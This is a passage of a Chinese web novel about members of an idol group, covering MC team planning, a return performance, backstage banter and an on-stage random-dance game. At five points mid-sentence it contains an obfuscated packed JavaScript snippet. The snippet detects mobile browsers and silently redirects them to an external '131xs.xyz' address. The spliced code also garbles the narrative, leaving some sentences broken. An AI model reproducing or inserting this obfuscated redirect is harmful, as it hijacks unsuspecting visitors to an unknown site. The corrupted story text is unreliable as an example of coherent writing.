只是最大的问题不在于此,在于住他们正下方的陆语心过了会来敲门了,问他们在做什么,怎么感觉在床上上蹿下跳。 I队剩余三个一期生都退得早,陆语心早早成了I队一期独苗,所以和L队的五个人经常一起玩,经常被喊“L队编外人员”。 ——如今他还是被喊“L队编外人员”,只是这事已经与一期生无关了,而纯粹是唐言的这层关系。 在早年的六人组里,和陆语心关系更好的是乔亦和贺景然。在贺景然与明宸吵架时,应时月在其中占据中立地位,陆语心却算是隐性站队了贺景然,所以被打入了半个明宸的黑名单。 但即使如此,陆语心还是时不时来L队,顶着明宸杀人般的视线探班唐言,顺道和应时月也聊上几句——最近几天倒是没来,应时月打听了一下,说他最近和唐言准备一起养一只猫,正在为品种吵架冷战中。 “十月在练习后空翻,”当时的乔亦对他眨眨眼,“难免会有一点动静。” “练得如何?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532577|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆语心于是很兴奋地提问,“十月你要不演示一下?” 应时月居然还想了想自己确实翻不了,然后才滞后式发出反驳:“乔亦你怎么又在编排我啊?” “开玩笑的啦,”乔亦在陆语心自带压迫感的质询目光下,举手投降,“其实练后空翻的是我不是十月,我们准备在下周舞台里加这个动作,所以十月帮我参谋一下。” 他说完,还真现场演示了一遍后空翻。 应时月心想着你哪来的这技能,而陆语心根本就懒得拆穿了,只笑了一声:“两个神经病啊。” “关我什么事啊?”应时月不平,“神经病的只是他。” “你能接受和他经常待在一起,那你就好不到哪里去。”陆语心说。 ——应时月如今倒是很想延迟五年,将这句话还给陆语心自己。 但总之,那天晚上过后,他们的改动就定了下来。 后来,意料之外情理之中的是,这段简单又技术性不高的改动,虽然让他们被开了很多栋千层高楼大骂卖腐、废物或者卖腐的废物,但反而成了他们舞台的最大亮点,也成了将两人推向热搜第一的根源。后来的五年里,应时月时不时还会在各种讨论Link的地方看到那张动图的身影。 因为那个公主抱的动作,队里朋友们还喊了应时月一段时间的“十月公主”。 “我突然发现,论坛都把小亦喊乔帝,那你俩不就差辈分了,”结果陆语心有天说,“四舍五入那我和你也差辈分。” ——“乔帝”这个花名一开始其实是因为乔亦是Link美帝的帝,后来在唯粉的推动下,不知怎么就喊变了含义。 “你说得有道理。”应时月听完,当即就开始嫌弃,“都不准喊了。” 明宸比他们都小,那会对泥塑这种事还非常不习惯——当然现在也已经能跟着粉丝张口就来了。于是他说,说起来,十月其实本来就还挺像男生的吧,为什么要被你们乱喊。 “什么叫像啊?”应时月笑了出声。 “一派胡言,这里所有人都是我的好妹妹,”喻疏一反驳明宸,“禁止你们整肃在座任何一个人。” “感觉你们都有病,”贺景然冷眼旁听,然后一锤定音,“我有个姐姐在精神病院上班,我找关系给你们挂几个加急号吧。” 于是大家笑成一团。 应时月没来由地想到很多之前的事。 然后又恍然发现,这些事都已经过去了好久了。 22. 回归首演 大概乔亦也在回忆那时候的事。应时月余光看了看他,然后想。 但他们谁都没有再继续说这个话题。 * 比他们练好双人舞台来得更早的,是总选后的第一场公演。 应时月最近都在和乔亦合练,直到公演那天下午,在剧场后台,才来得及和明宸重新搭了一下。 而在临时排练的过程中,乔亦则蹲在一边看他们,似乎是想要学习点什么。 “你看也没用啊,”明宸停下来,看向他直言,“如果你看几遍就能做更好的话,我们当年也不会教你教这么痛苦了。” 乔亦抬头:“你怎么对我说话这么直白啊——” “在这件事上,我对谁都这样,”明宸顿了顿,然后解释,“不信你问十月。” 于是乔亦又抬头看应时月,应时月瞥了他一眼:“……别问我啊。” “原来你们在这集体欺负我们小亦宝宝,我就说怎么没看到人,”下一刻,一道熟悉的声音在后台响起,说话的是意料之外出现在这里的陆语心,“……好久不见啊各位。” “首先只有一星期没见,其次,”明宸低下头看手机,不再发言,应时月望着陆语心说,“我们在正常排练呢,少造谣几句,陆语心同学。” “真的吗?”陆语心露出了很刻意的疑惑神色,歪了歪头说,“我不是很相信,小亦你有什么想要反驳的吗?” “别挑拨离间了,怎么你还是这幅样子,”乔亦笑了一声,然后转移话题,“对了,你转一下头,有人来找你了。” 陆语心闻言回头。 向他们这边走过来的是唐言——在跟着陆语心扭头之前,应时月就猜到了这一结果。 “谁找他啊,”唐言也听到几个人的对话,语气中带着一点微妙的不满,反驳了乔亦的发言,“我是找你们商讨今天mc分组的。” L队的新队长选举在两天前出了结果,应时月短暂的临时队长任期顺利终结。 而新上任的队长,不出意外,是连续两年L队队内第一的唐言——因此,刚上任的队长此时此刻自然开始履行他的职责了。 Link的一场公演中,总共会有三段MC,分别穿插在舞台表演的间隙中。 其中,一段大MC紧跟在开场的几首14人曲后,是参加公演的全员都要上的;剩下两段小MC,则每场上七个成员。 一般来说,队里的高人气成员都不会集中到同一场MC里。 此外,在Link这种地方,几乎所有成员都住同一栋宿舍,每天抬头不见低头见,就像一个小型的寄宿制学校一样,人与人之间难免会偶发冲突矛盾,也自然会有亲疏远近。 因此,在每场MC的成员分配上,队长都需要照顾不同成员的人际关系,同时平衡场上的人气和MC能力,才能实现全场公演的观赏效果最大化。 这并不是一件特别简单的事。 “怎么说,”乔亦站起身,捏了捏手腕,然后转向唐言提问,“我要上吗?” “前辈你有意愿上吗?”唐言没直接回答,反而是反过来问了乔亦一句,“你如果不想上,那也可以不上。” “你如果想我上,那我就上。”乔亦的目光直直地看着唐言,将他刚刚说的话原封不动还给他,“你现在做个决定?” 唐言停顿了好几秒,似乎是在犹豫,又或是在思考,而在这段时间里,乔亦目不转睛地注视着他,等待着回应。 “……你上吧。”唐言终于开口,“我觉得你上比较合适,你就只跳前四首歌,肯定很多人还想多见见你。” “好。”乔亦点点头,目光终于从唐言身上移开,接着从室内几人身上扫视而过——落到应时月的方向时,冲他扬了扬嘴角。 应时月抬了抬眼。 “那既然前辈你要上,我现在想的安排是,”唐言再度犹豫片刻,然后继续说,“我想把前辈你、十月前辈还有我自己,安排在同一组,不知道会不会带来困扰,所以想问问两位前辈能不能接受——不行也没关系。” 这个分组倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532578|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很聪明的选择。应时月心想。 另一组能有林茗予和明宸两个top在,不会让两组人气悬殊太大,而他、乔亦和唐言,这个组合,怎么看都能将话题度拉到顶端。 实际上,他和乔亦就完全足够撑热度了,就算两人站在台上一句话不说,起码在同台的第一场,都会有无数观众买单——应时月对此还是很有信心的。唐言这个当年被喊过“乔亦2.0”的现任Link团一哥,也只不过是起到了添砖加瓦的作用。 不出所料,乔亦这回没直接回答,而是再度扭过头来看他。 跟随着他的目光,在座剩余三人的视线,也都集中到了自己身上——应时月在四个人的集体注视下开口。 “你如果想我们一组,那我们就一组。” 他说。 话音落下,在座唯一的局外人陆语心就第一个笑了出来,他一边笑一边说:“十月,恕我直言,你在这个月之前,可都不是这么阴阳怪气的人。” 应时月试图反驳,并发现自己反驳不了。于是回避这个话题,反过来用对方的梗攻击他:“……语心哥,突然想起来还没问,你的猫选好了吗?” 这句话在目前还是具有攻击性的。 他的发言一出,瞬间成功禁言了在场两个人。 于是剩下唯一能说话的乔亦又看了看他,然后才转向唐言,语气无奈:“……现在你是队长,你可以不用以这种征询且犹豫的口气来提问。” “这是我能直接拍板的内容吗,”唐言愣了愣,这才回问了一句,“那我确实没做好,我下次会改改的,不过……” 他顿了顿,才接上后半句:“……其实我还是觉得,前辈你适合当队长一些。” “这不是你自己交的报名表?”乔亦笑了出声,“而且,我为什么觉得,你在害怕和我说话啊?” 唐言听到这句疑问,仿佛被问卡壳了一般,张了张嘴,没说出话。 最终应时月出声,解救了他:“就按你说的分组吧,我们都没问题。” 23. 欢迎回家 得到肯定的回复后,唐言道了声谢,便光速离开了这是非之地。 也不知道是想躲什么——可能答案不止一个。 而陆语心看了看在场三位一期生同伴,又扭头望了望唐言离去的方向,想了想,还是对三人组说了声回头见,接着就跟了出去。 而剩下两人,一个是和陆语心多少有点意见的明宸,一个是他尚且刻意维持着“只谈工作”的乔亦,没一个人能和他讨论那两人在搞什么。 于是应时月叹了口气。 “所以亦哥,”但好在,只剩下三人后,明宸又重新恢复了可说话状态,于是这人帮他问出了他好奇、但绝对不会主动提问的另一个问题,“唐言好像真的有点怕你,是怎么回事啊?” 乔亦那句话听着是调侃,但又确实是肉眼可见的事实。 虽说应时月和唐言工作之外的接触不多,绝大部分还是陆语心也在场时,但在他的认知里,唐言这个人就很少出现“犹豫”“迟疑”这样的状态,更多时候反而是有点自负的状态——毕竟是Link建队以来的最强新人,从出道开始就活在超越同期的人气之下。 就刚才那十分钟,说是被谁魂穿了,应时月可能都会相信。 “不知道啊,”乔亦想了想,然后又说,“可能是因为,我那天找他去问了几个问题?” “为什么要找他问问题?” “你找他问了什么?” 应时月终于没忍住,开口问了一句。结果不巧,声音和明宸的提问重合了起来。 他觉得有点……莫名其妙的尴尬。 好在乔亦装作无事发生:“他不是报名选队长吗,我就去问了一些对L队的未来规划的想法,以此来决定我要不要给他投票。” “……所以说,几个队长报名者你都问过?”这是应时月意料之中的答案,毕竟竞选材料是他亲手发给乔亦的,所以多少能猜到。而明宸似乎是有点意外,于是又提问。 “没有啊,”乔亦理所当然般回答,“我听说这次肯定是他当选,所以就只问了他一个人——实话说,答得挺一般的。” 不过在收到的那份投票单上,乔亦最后还是写了唐言的名字——应时月本以为是随手一写,毕竟唐言不缺他这一票,但现在看来,似乎并非如此。 “他才……”明宸开口,似乎是想说“他才十八岁”之类的话,但大概是想到了乔亦十五岁就是L队队长,所以最终将话吞了回去,改成了另一句,“他可能没什么经验吧,学一下也不一定做不好。” “我没有这个意思,”乔亦笑了一声,“我就随便问问,不要这么严肃——况且……” “况且,答不好不代表他就没有责任心了。”应时月于是也笑,然后抢断了乔亦的发言。 这话一出,如同意料之中,三个人陷入了短暂的冷场。 这确实是在直说乔亦没有责任心。在场所有人都明白其中的未尽之言。 明宸的视线在应时月和乔亦之间转动。他的目光还算平和,似乎不带有什么情绪——但也可能是装出来的。 乔亦的笑容则是瞬间收敛了起来。 “我确实不合格,”他沉默了一会,然后才说,“我承认……以后肯定不会了。” “知道就好。”应时月说,“你最好是。” 乔亦当然不会再成为队长。 这对话的指向性,在场所有人都清楚。 而明宸睁大眼,扭头看了看应时月,似乎是被这段他理解之外的发言震惊了片刻。 他想张嘴说点什么,但最后还是欲言又止。 * 剧场下午进行的是I队公演——因此,他们才能在后台遇上刚下公演的陆语心。 而L队的公演,则是从晚上七点开始。 不知道是因为乔亦、还是因为这是总选后恢复公演后的首场演出,即使是周五这种不利好外地党的时间,这场公演的票也卖得飞快。 在开场的四首大歌结束、成员们陆陆续续回到台上,准备开始大MC时,尚且没被轮到的应时月,就开始用视线的余光观察着台下。 台下星星点点的闪动着不同颜色的应援棒,在几分钟前刚随着他们的舞蹈而一起挥动,如今则安静地悬停在了半空中。 而站在站区第一排正中心的几个女生,在栏杆上搭了个淡粉色底色的应援旗,上面写着“欢迎回家”四个字。 举给谁的不言而喻,但这几个女生倒不是乔亦的单推。 乔亦的单推肯定会做浅蓝色的应援旗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532579|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而不是用L队的队应援色淡粉色——实际上,L队的成员们大多都认识她们,这几个人是L队队应援会的老成员,已经陪伴了他们全队七年之久。 很长情的一群队推。 大MC这一环节是成员站在台上,依次发言,作为串场。接下来马上有舞台的成员,说话的顺序就会早一点,然后更早下台,去更换妆造准备下一场表演。 落霞这首歌排在几首unit曲的第一位。于是第一个说话的是明宸,第二个就是应时月。 今天的MC主题比较平平无奇,叫“分享你最近经历的有趣的事”。 事实上,普普通通的MC主题也很可能说出有趣的发言,毕竟这个环节的主力是说话的人。况且此时距离上一场公演已经过去了二十多天,中间有总选、有休假、有不少外务,能分享的倒并不少。 比如明宸,分享的主要就是总选后台和握手会当天的事——比如说因为今年的总选后答谢握手会换了个场馆,所以他大中午的在场馆光荣迷路的故事。 毕竟这人休假那几天都去面试角色去了,这倒是暂时不能在台前说的事。 他说完就轮到应时月。 “各位线下线上的观众们大家晚上好,”应时月从他手中接过话筒,向台下鞠躬,进行惯例般的开场白,“我是L队成员应时月,很高兴大家来观看我们今天的公演。” 他说到这里顿了顿,给台下留下应援的时间,接着才重新举起话筒。 “今天的主题,你最近经历的有趣的事,”应时月扭过头,看了眼身后的大屏幕,“好像挺多的,我一件一件说吧,比如说——” 应时月微微低头,目光也随之向下转。 久违的,想到接下来准备的发言,他握着话筒的右手有点轻微的颤抖——上次出现这种症状,还得追溯到19年那次总选第一的获奖发言。 于是应时月默念一遍“工作”两个字,左手包裹在右手外侧,双手同时握住话筒,然后开口:“比如说,此时此刻,我刚好看到了一个有趣的应援旗。可能线上和后排的观众看不见,这个应援旗就举在我正前方,第一排中央,上面写着……” 他对着台下观众笑了笑,接着念出了其上的文字。 “欢迎回家。” 24. 别扭与坦荡 下一秒,舞台下的起哄声铺天盖地。 应时月没有扭头看身后的乔亦,自然也没看到对方怔了片刻、又光速恢复正常的表情。 他只是带着营业式的笑站在原地,安静地等着台下——以及台上的起哄的声音偃旗息鼓,才重新举起话筒。 他开始讲前几天的排练趣事。 前几天,L队全队都天天见面,因此很自然地也共享了许多趣闻。 于是他说的时候,时不时就有其他成员插上几句话,气氛瞬间就热了起来,大家你一言我一句的,台下也时不时传来观众们的笑声。 直到他说到第三段故事。身后的林茗予终于举起话筒:“十月前辈,这些都是大家一起经历的,要不给我们后辈也留点能讲的故事呗?” ——这倒也是应时月所期望的效果。总应该有个人来切断他的发言,让他自然而然过渡到下一个话题,作为资历最长的小后辈,林茗予是个此时此刻再合适不过的人选。 大家一起说了这么多场MC,总归是有队内的默契在的。 “那好,”应时月于是笑着回头看了一眼,接着话题一转,“那我也效仿我左边的这位同学,说一点总选那会的事吧?” 不出所料,台下又开始了激烈的响应。 应时月今年总选算是制造了两个热点。 一个是老牌大top历经六年首度跌出选拔组,二是在总选当天靠着一个镜头和一场直播、正式宣布出土复活的前链团美帝cp时亦。 应时月提总选,总不可能再像明宸一样提迷路这种小事。 ——这是此时台上台下大多数人的心声。 既然如此,那肯定是有爆点的。 “说起来,我想说的也是和迷路有关的事,”在台下声音结束后,应时月说,“不过不是我本人,而是那天总选结束之后,可能有些朋友知道,我们那个总选场馆前两年重装修过,所以我回后台,刚好就遇到了一位几年没来的、迷路的老朋友。” 应时月那天直播看过的人实在是太多了。这话一出,都知道是怎么回事,旁边的明宸甚至还直接回头,看了乔亦一眼。 “小月哥哥,你这不就是在当众损害我的风评吗,”乔亦的声音带着笑意如约响起,在众望所归中开口接话,“我得先解释一下——我那天从观众席退场的时候,走到后台入口边上,有个工作人员就过来给我开门,指路让我进去,这我才进去的。” “别人让你进就进啊?”应时月于是也扭过头笑。 “我不从小就是这样的人吗,别人给我指路,我都是百分百信任的,”乔亦偏了偏头,冲他眨眨眼,“十月你应该挺清楚的?” 别人可能不清楚,但应时月再清楚不过乔亦想要引出的事。这个问句所暗指的,显然也不是他发言的前一句,而是—— “十月你应该挺清楚,接下来接什么话题?” “那倒是,说起来以前还没给大家讲过,”于是应时月很配合、也很上道,“我们当初刚来Link报道的时候,就在老基地外面的那片城中工地迷路过。那会我在路上遇到了这个人,拉着我到处找人问路,别人说什么他信什么,最后拉着我越走越偏——” 应时月又展开说了几句,接着台下一片笑声。 “那前辈你没被卖了真是个奇迹。”旁边的林茗予扭头说。 “那我也是有对人的判断能力的,”乔亦一边笑,一边冷不丁补了句,“不过也不好说,如果是十月这样的,他想把我卖了说不定我还帮他数钱呢。” 应时月:“……所以你心怀不满,迫不及待也要来损害我风评了是吧?” “你看十月,”乔亦冲他做了光速的单眼wink,“你承认了,你就是在台上故意在损害我的形象。” 台下观众又笑。 此时此刻,大概很多人确实也没想到,如今的应时月和乔亦会在台上如此有来有回的交流——毕竟小半个月来,两人直播、或者在fanclub说话,提起对方的次数都有,但凡说到,每句话中都是无论如何都难以掩盖的别扭和纠结。 都不是第一天认识,粉丝们不至于读不出来。 总归不像是在台上能若无其事坦坦荡荡对话的。 而实际上,就此事,下午那会,乔亦确实事先找应时月本人商量过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532580|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “……过会MC能提你吗?”在L队一期生三人组将要暂时各自去准备前,乔亦问他,“不该说的我都知道。” “你不是才教育过唐言?”应时月抬了抬眼,莫名其妙就笑了起来,“这种事为什么要问我,台上还不是你想说什么就说什么。” “好的,”乔亦对着他眨了眨眼,“我明白了。” “你们两个讨论这事,听着很像是那种,”而旁边的明宸听到这段对话,抬起头想了想,接着点评,“情侣分手多年被迫重新做同事,虽然互相看对方都很别扭尴尬,但是为了业绩不得不坐下来商量能不能一起合作,这样的感觉。” 乔亦听完,就开始在旁边疯狂大笑。而应时月仔细在心中复读了一遍这串话,发现了一个悲哀的事实—— 除了情侣两个字以外,明宸的这段形容,似乎一点问题都没有。 他突然就觉得微妙起来了。 * 一个人的发言不能太长,于是应时月和乔亦的台上社交也就终止于此。 而再度等到乔亦说话时,应时月已经和明宸一起下台了——再不下台,就准备不上换那套繁复的衣服了。 应时月下台的时候绕了点路,走的是不会从乔亦身边经过的方向。他听见台下有人喊了句“从右边走”,于是在镜头照不到的地方扬了扬嘴角。 某种意义上,毫无波澜的重归于好,总归是比不上不经意的别扭和纠结的。 况且后者确实是他如今的心境,演绎真实甚至不会让人产生负罪感。 应时月啊应时月,你也变成一个为了话题度开始用手段的人了啊。 他心中叹气。 在后台换衣服的时候,前台说话的就是乔亦。 应时月听不清他在说什么,但能听见台下时不时传来的起哄笑声和喊声。 “我听到他说了十月两个字。”明宸说,像是在读心一般。 “你幻听了吧,”应时月说,“这里怎么可能听清前台在说什么。” 虽说他知道,乔亦肯定会提自己。 这一点毫无疑问——只是不知道是会以何种方式。 25. 随机舞蹈 “keep 但乔亦会提自己,又不仅仅会提自己。 在第一次见到这人的那天,应时月就亲眼观察到了乔亦令人恐惧的社交能力——如今,隔着八年的时光,这份能力依旧存在。 即使是最近一周里,乔亦每天大多数时间都和自己一起在排练落霞,但他还是以相当迅速的速度,和队里这四年来新来的小后辈们产生了交集。 应时月听见乔亦的说话中时断时续,中间也夹杂着其他熟悉的、队友们的声音。 总归是重新融入地很顺利。 不过,所有人、包括应时月也都知道——对乔亦来说,这些还远远不够。 这人曾经一度是L队MC最核心的支撑,但现在的乔亦,显然是还没有回归到那种状态。 这也很正常。要承担这个角色,必要条件是要熟悉队里的每个人、每一组人际关系,信任所有人的同时让所有人信任自己——最终才能在台上无所顾忌又持有底线地制造节目效果。 客观来说,这需要时间;主观来说,乔亦也在努力……做一些可以称之为广泛交友、也可以称之为笼络人心的举动。 ——比如明天没有L队的公演,所以他请了全队明晚一起去市中心吃饭。 怎么我开始为他的事业担忧起来了。 应时月想着想着,突然开始反思——自己思考这些才毫无意义,毕竟,乔亦虽然唱跳不行,但比任何人都懂如何做一个“成功”的养成系剧场偶像。 想想接下来的舞台才是正事——只有将自己的情绪沉浸到舞台的情节设定中去,才能有打动人的表演。 八年前的应时月对此完全没有意识。但如今,在一次次舞台的磨练中,他早就明白了这些简单的道理。 * 应时月前几天就在fanclub给粉丝预告过,说自己今年要换一个新的unit,不会再跳之前的古风歌,于是粉丝早早就准备了他和明宸版本的call词。 两人的上一次双人舞台也是在两年之前了。 应时月和明宸是最近两三年里L队的唯二一期生,公认的关系好,又不是大势cp,所以粉丝关系也处得比较融洽。正因如此,两边粉丝一合计,专为他们写了一套特别的call词,和歌词、和两人的经历都能对上,特别用心。 对剧场偶像来说,观众的配合重要性不言而喻。观众正向积极的配合不仅会成为“舞台表演”的重要构成元素,对于台上的人也是一种激励。 毫无疑问,难得出现于普通公演场次的Link队内顶级双人配置,又有台下观众的全力响应,他们今天的表演整体效果很好。 两人下台的时候,乔亦正站在距离后台入口处不远的地方。 他身前是一块大屏幕,实时播放着当下公演的直播画面——这也是为了成员们能够在后台更方便观察到前台的情况。 “你在看吗,感觉如何?”明宸于是向着他的方向走过去,然后提问。 应时月也跟上他的步伐。 “在看,”乔亦抬了抬嘴角,虽然是回答明宸的问题,但目光一直似有似无盯着应时月的方向,“表演挺好的,我现在感觉压力有点大。” 明宸于是也跟着他笑:“我才不信你有压力。” “你想听什么?”而应时月接收到他的目光,想了想,觉得自己还是应该回应一句,“keeprelaxed?” “十月,”明宸一边说一边继续笑,“你这句话听着很有一种,‘多喝热水’的感觉。” 乔亦听完也跟着一起笑。笑过之后,又回身,从身后的小桌上端过来个纸杯,递到应时月面前:“所以喝点热水吗十月?我刚接的,没喝过呢。” 应时月倒确实有点口渴,准备下台之后就去接水,没想到乔亦居然早有准备。他道了声谢接过纸杯,而旁边的明宸则很诧异地问了一句“怎么我没有”。 “因为我也要喝,但我不能同时端三杯水,”乔亦抬眼看他,回身拿起桌上另一个杯子喝了一口,“你也可以喝十月剩下的。” 于是明宸又望向应时月。应时月闻言,扬了扬嘴角,抬头将纸杯内的水一饮而尽—— “你们别太过分啊,”明宸视线在两人身上来回移动,“合伙针对我是吧?” 应时月和乔亦都没有看对方。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532581|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不约而同般笑出了声。 * 乔亦如今只上前四首歌,因此,后续都没有他的舞台。 再度上场的时候已经是MC3。 上一个小MC结束后,观众们其实已经大致猜到了下一个小MC的成员阵容。应时月没在公演途中看论坛,但也能想到论坛首页正在疯狂讨论之中。 他们顺着侧面的入口,从后台迈入舞台——随着人员一个个出现在眼前,即使台上的人一句话都没说,观众席也已然自发爆发出了剧烈的欢呼声和起哄声。 小MC在站位上没有什么特定讲究。 应时月和乔亦没有挨着站位,但却比挨着站位更微妙——两人中间只隔了一个人,而被隔的这个人是唐言。 就连唐言本人,都为应时月和乔亦不约而同提出的这一提议震惊了一秒。 小MC一般会有一个或多个固定主题。 这个主题可能是一个给定话题,也可能是一些能在台上玩的游戏——有时候是成员想,有时候是抽取粉丝建议。 一般来说,在刚刚大幅度更换MC分组之后的这段时间里,大家都会更倾向于选择玩游戏,而不是聊天。 毕竟在舞台上的熟悉度也需要磨合,游戏就是一个很好的磨合途径。 今天也不例外。 他们抽了几个,都是一些常见小游戏的变种,比如你画我猜空气作画版,又比如大家轮流报数说台词的反应游戏——这些游戏,如果是和Link的队友比较,那应时月和乔亦都算是高手,于是都很默契地收着玩。 胜负不重要,节目效果才重要。 而放在最后的,则也是一位老粉投稿—— “来看看最后一个小游戏,”唐言回过头,念身后屏幕上出现的文字,“随机播放L队的歌曲,每首歌30秒时间,以最快的速度跟上动作就算胜利”。 简而言之,就是比赛版的队内歌曲随机舞蹈。 “十月前辈,这不就是你的场合,”唐言念完,望着应时月笑,然后又对着台下调侃了一句,“……投这个的是不是十月前辈的粉丝啊,这简直是送他赢啊?” 26. 子弹时间 唐言这句话……硬要说还真没问题。 虽然这么说听上去有些自吹自擂,但应时月敢说,八年以来,只要是在L队的公演舞台上出现过的歌,就没有他不会跳的。 ——当然,还是那句老话,胜负不重要,节目效果更重要。 但这也没什么好担心的。可想而知控台肯定会挑一些歌让场上群魔乱舞一片混乱,在这种时候,自己只要跟上队友们就可以了。 而事实也如同他所预料一般。 放出来的第一首是他们上一套公演的开场曲。这种时间比较近、除了新人之外都跳过的歌,大家暂时应该还不会整活—— 倒也不尽然。毕竟场上也确实有个“新人”。 真正的新人在出道前的练习期倒还可能会学这些歌,而乔亦是真的一点也不会,于是后退两步开始盯着应时月跟着跳。 应时月注意到这道目光,于是下一步就将舞蹈动作进行了一番大幅度的简化,还稍微比音乐提前了一点——总归是摆出一副实时教学的状态。 而乔亦就开始跟他临时学习,神色非常专注,态度极其认真,不像是在为了搞笑和娱乐的MC现场,更像是在严肃的舞蹈练习室里—— 但并没有什么效果。 唐言一回头看到如此乐子,于是也站到应时月身边试图跟着他一起教学,又仅仅过了两三秒,场上的几个人就都加入了“集体教学”环节。 “不是,你们怎么都跳得不一样啊,”乔亦一边继续他的独魔乱舞环节,一边终于维持不住那副装出来的严肃表情笑了出声,“能不能下去统一一下啊,我怀疑你们除了十月以外都不会吧!” “十月也没全跳对啊!”另一个成员立刻拆台,“我刚刚才看到他吞了动作!” “我那是什么吞动作啊,”应时月开始为自己辩护,“我那明明是简化掉不必要的动作,保证这个人能看得懂我在干什么。” “我没有看不懂!”乔亦不平,“我只是跟不上,十月你今天怎么执着于给我泼脏水啊!” “前辈,”唐言于是开口,“你这不就是考试的时候说你都会但是做不对吗。” 乔亦:“这也能类比的啊?” 总之,应时月所想的节目效果完全不用担心——如果是最近四年的歌,只要乔亦在,那大家就可以拿他作为公共集火对象。 至于四年之前的歌……场上七个人,除了他和乔亦以外根本没人会,最多唐言多会几首,全场都是靶子,丝毫不用担心。 这个环节于是变得格外欢声笑语。 大家从头到尾其实都没怎么认真跳,但是又会在一些经典歌曲副歌标志性动作时展现出惊人的集体默契,比如有首歌有个原地转圈再挥剑的动作,上一秒台上还是大混战状态,下一秒突然就整齐到可以拿去叠图。 直到他们组的时间将近尾声,只剩下大概一分钟出头。 这种情况下,往往就会来点真正意义的压轴操作了。 于是控台又切了首新歌。 而前几个音符响起的一瞬间,台下就爆发出了激烈的反响。 台上有年轻的成员还没有反应过来,而反应过来的那一部分,目光就全都集中到了应时月和乔亦身上。 两位当事人显然比谁都更熟悉这段旋律。这是那首……应时月前几天还在回忆的,五年前他和乔亦上热搜的双人舞台的小甜歌。 应时月和乔亦在台上并不避讳交流,于是粉丝也不会避讳直接讨论cp意义的他们。 台下的声音只混乱了两三秒,接着就变成了整齐划一般重复“时亦”两个字。 唐言还是很上道,拉着几个后辈各自退后几步,光速将舞台中央的位置留给了故事中心的两个人。 上述所有过程发生在短短五秒之内。 在台上被如此起哄,不做点什么、或者说,不复刻一下经典的话,那肯定是收不了场的,应时月对此有充分觉悟——但实话说,前几天乔亦开玩笑问现在要不要再试试的时候,他的拒绝中确实有别扭,但也有点真的担心。 这人在过去的四年里,显然并没有继续做偶像时的高强度运动和锻炼,如今还真不知道能不能支撑得起。 他倒是一瞬间还在想,要不要互换一下站位,给观众看点新的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532582|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但另一个问题是,他确确实实一点经验都没有,让他来抱着乔亦转圈的话,估计会摔得很惨。 这样想的时候,乔亦已经举起话筒,在喧闹中看向应时月,笑着开玩笑:“别一副这么不相信我的表情啊?” 